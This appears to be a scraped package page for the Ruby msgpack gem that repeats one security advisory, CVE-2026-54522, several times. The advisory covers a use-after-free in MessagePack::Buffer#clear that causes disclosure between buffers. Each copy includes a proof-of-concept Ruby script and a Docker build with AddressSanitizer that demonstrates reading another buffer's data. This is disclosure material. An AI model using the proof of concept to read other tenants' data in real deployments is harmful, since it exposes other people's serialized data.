            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 08, 2019

1.2.5 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 08, 2019

1.2.4 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 02, 2018

1.2.3 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 02, 2018

1.2.2 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 11, 2018

1.2.1 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 08, 2017

1.2.0 minor

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


